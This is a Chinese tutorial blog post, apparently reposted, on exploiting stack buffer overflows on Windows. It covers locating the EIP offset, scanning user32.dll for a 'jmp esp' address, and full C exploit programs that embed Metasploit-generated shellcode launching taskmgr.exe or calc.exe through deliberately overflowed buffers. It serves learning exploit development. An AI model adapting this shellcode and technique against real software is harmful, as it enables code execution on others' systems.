缓冲区溢出学习_1

栈就是这样的,EIP始终指向ESP。我们的目的就是要把DATA以及EBP给占满。但是占满之前需要知道,究竟多少个字节才能够占满。

首先需要了解EBP占四个字节。也就是如果是char buffer[8];的话你需要加4才能够完全的到达EIP区。

来测试一波一个简单的DEMO:

#include "stdio.h"
#include "string.h"

char name[] = "hackershhelloworld";

int main()
{
	char buffer[8];
	strcpy(buffer,name);
	printf("%s\n",buffer);
	getchar();
	return 0;
}

编译好然后丢到XP中。

重点看第四步:code:0x0000005的意思就是意味着溢出,而Address就是溢出的地址(EIP或者说返回地址);

Address是:72、6f、77、6f

然后将其转换一波十六进制的字符ASCII为字符,也就是r、o、w、o

翻转过来也就是owor(这里需要去了解入栈和出栈的流程,就像一瓶水,把A瓶子里的水倒入B瓶子的时候,水会首先进入B瓶子的瓶底,最后的会到A瓶子的瓶面。这就是入栈,然后出栈的时候也就是相反的,B瓶子的水倒入A瓶子,刚开始第一次倒的水在水面的会首先进入B瓶子的瓶底,最后的会进入瓶面)所以这里的EIP我们拿到的反的,你需要翻转才行。

那么就可以与name数组中的几个字符对应了"hackershhelloworld";

对应的这几个字符就称之为返回地址,也就是eip了。找到可以发现到o的前面总共有12个字符,而EBP占了4个字符,也就是说,前面的八个字符(hackersh)是DATA,后面的4个字符(hell)是EBP;

(这里分享一个疑惑点吧,就是在测试当中发现如果是name[3]的话好像就有点不同了,可以自己测试一波,如果不测试的话,这句话当我没说。)

通常找EIP有可能会很大,比如EIP可能会是在80个字符,或者更多,为了更快更高效的找可以结合例如大小写字母组合起来,小写字母占26,大写26,那么一组大小写下来就是52个字符,如果说是80个的话就很快就可以找到。因为你只需要两组大小写字母就可以了。(PS:找到了记得需要减去4(EBP所占大小)才是DATA哟)

然后找到溢出地址栈了以后,需要找到ESP

那么如何找ESP呢?可以直接通过Olly ICE找。

加载进去以后右键->查找->命令->输入jmp esp

然后得到jmp esp #这里需要说明一下,各个系统的jmp esp可能是不一样的哈。

也可以通过如下代码编译然后获得:

#include<windows.h>
#include<stdio.h>
#include<stdlib.h>

int main()
{
    BYTE *ptr;
    int position;
    HINSTANCE handle;
    BOOL done_flag = FALSE;
    handle = LoadLibrary("user32.dll");
    if(!handle)
    {
        printf("load dll error");
        exit(0);
    }
    ptr = (BYTE*)handle;

    for(position = 0;!done_flag;position++)
    {
        try
        {
            //jmp esp 机器码ffe4
            if(ptr[position] == 0xFF && ptr[position+1]==0xE4)
            {
                int address = (int)ptr + position;
                printf("opcode found at 0x%x\n",address);
            }
        }
        catch(...)
        {
                int address = (int)ptr + position;
                printf("end of 0x%x\n",address);
                done_flag = true;
        }
    }
        getchar();
        return 0;
    

}
View Code

找到以后记录一下哈。

775D01EB FFE4 jmp esp

然后编写exp了。

shellcode可以通过MSF直接生成。

我们要做的就是把EIP给填补上去就ok了;

 完成的代码如下所示(但是测试你会发现还是不行,因为shellcode中含有00,部分的shellcode被截断了,这里要怎么解决目前还没找到解决的方法,但是修改strcpy可以做到)

#include "stdio.h"
#include "string.h"

char name[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                        "\xEB\x01\x5D\x77" //WIN10 EIP775D01EB
                        "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" 
                        "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" 
                        "\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" 
                        "\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" 
                        "\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" 
                        "\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" 
                        "\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" 
                        "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" 
                        "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" 
                        "\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d" 
                        "\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb" 
                        "\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" 
                        "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" 
                        "\xff\xd5\x74\x61\x73\x6b\x6d\x67\x72\x2e\x65\x78\x65\x00";

int main()
{
    char buffer[8];
    strcpy(buffer,name);
    printf("%s\n",buffer);
    getchar();
    return 0;
}
View Code

然后把strcpy修改为memcpy

既完整代码如下所示:

#include "stdio.h"
#include "string.h"

char name[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                        "\xEB\x01\x5D\x77" //WIN10 EIP775D01EB
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" 
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" 
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" 
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" 
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" 
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" 
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" 
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" 
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" 
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d" 
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb" 
"\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" 
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" 
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main()
{
    char buffer[8];
    memcpy(buffer,name,300);
    printf("%s\n",buffer);
    getchar();
    return 0;
}

上面这个DEMO不知道哪里出现问题。但是思路是正确的;

如下demo可以弹:

#include <windows.h>
#include <string.h>
#include <stdio.h>
int fun(unsigned char *cpybuf)
{
   unsigned char buf[8];
   memcpy(buf,cpybuf,300);
   return 0;
}

int main()
{
  //char buff[]="123456789999";
   unsigned char buff[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\xEB\x01\x88\x77"//778801EB    FFE4            jmp     esp
   "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" 
   "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" 
   "\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" 
   "\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" 
   "\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" 
   "\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" 
   "\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" 
   "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" 
   "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" 
   "\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d" 
   "\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb" 
   "\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" 
   "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" 
   "\xff\xd5\x63\x61\x6c\x63\x00";
  fun(buff);
  return 0;
}

 

转载于:https://www.cnblogs.com/nul1/p/10934582.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值